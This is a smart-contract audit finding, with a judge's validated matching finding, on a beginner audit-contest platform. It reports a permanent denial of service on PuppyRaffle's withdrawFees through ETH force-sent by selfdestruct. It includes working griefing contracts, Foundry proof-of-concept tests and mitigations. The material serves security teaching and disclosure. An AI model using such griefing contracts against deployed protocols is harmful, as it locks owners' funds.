Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Permanent DoS on withdrawFees via Force-ETH Send

leoyeesir

Root + Impact

Description

  • The withdrawFees function (line 164) contains a strict equality check that compares the contract's actual ETH balance with the tracked totalFees:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

In Solidity, relying on address(this).balance for logic is dangerous because the balance can be increased against the contract's will. An attacker can force-send ETH to the contract using selfdestruct, which bypasses the receive() or fallback() functions. If the contract balance becomes even 1 wei higher than totalFees, the require statement will always fail, permanently bricking the fee withdrawal mechanism.

Risk

Likelihood:

High. This attack is extremely simple and inexpensive to execute:

  • Low Cost: An attacker only needs to send 1 wei of ETH via selfdestruct to break the equality.

  • No Prerequisites: Anyone can deploy a "griefing" contract and self-destruct it into the PuppyRaffle address at any time.

  • Inability to Recover: Once the extra ETH is in the contract, there is no built-in function to remove the "excess" wei, meaning the condition balance == totalFees will likely never be met again.

Impact:

Medium. The impact is characterized by a permanent Denial of Service (DoS) on a critical administrative function:

  • Revenue Lock: The protocol owner/fee address is permanently prevented from withdrawing any accumulated fees.

  • Misleading State: The error message returned is "PuppyRaffle: There are currently players active!", which is technically incorrect and will mislead the admin into thinking they just need to wait for a raffle to end, when in reality the function is permanently broken.

  • Operational Failure: While the core raffle mechanism (entering and picking winners) still works, the protocol's business model (collecting fees) is effectively neutralized.

Proof of Concept

Description of PoC: The test demonstrates that by using a secondary contract to selfdestruct and force-send 1 wei to PuppyRaffle, the address(this).balance becomes greater than totalFees. Consequently, withdrawFees() reverts with a misleading error message, even when no players are active and fees are ready for withdrawal.

contract GriefingContract {
function attack(address target) external payable {
selfdestruct(payable(target));
}
}
​
function testWithdrawFeesGriefing() public playersEntered {
// 1. Complete a raffle to accumulate fees
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
​
uint64 feesAccrued = puppyRaffle.totalFees();
assertEq(address(puppyRaffle).balance, uint256(feesAccrued));
​
// 2. Attacker force-sends 1 wei via selfdestruct
GriefingContract grief = new GriefingContract();
vm.deal(address(grief), 1);
grief.attack{value: 1}(address(puppyRaffle));
​
// 3. Balance (fees + 1) != totalFees (fees)
assertGt(address(puppyRaffle).balance, uint256(puppyRaffle.totalFees()));
​
// 4. Withdrawal is now permanently bricked
vm.prank(puppyRaffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​

Recommended Mitigation

Remove the strict equality check. The contract already tracks totalFees internally. The withdrawFees function should simply trust its internal accounting of totalFees rather than checking the total contract balance.

function withdrawFees() external {
require(msg.sender == feeAddress, "Not fee address");
uint256 amount = uint256(totalFees);
require(amount > 0, "No fees to withdraw");
// Reset state before transfer (Checks-Effects-Interactions)
totalFees = 0;
(bool success, ) = feeAddress.call{value: amount}("");
require(success, "Transfer failed");
}

If the intention of the original check was to ensure no players are currently in a raffle, it is better to check the players array length:

require(players.length == 0, "PuppyRaffle: There are currently players active!");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!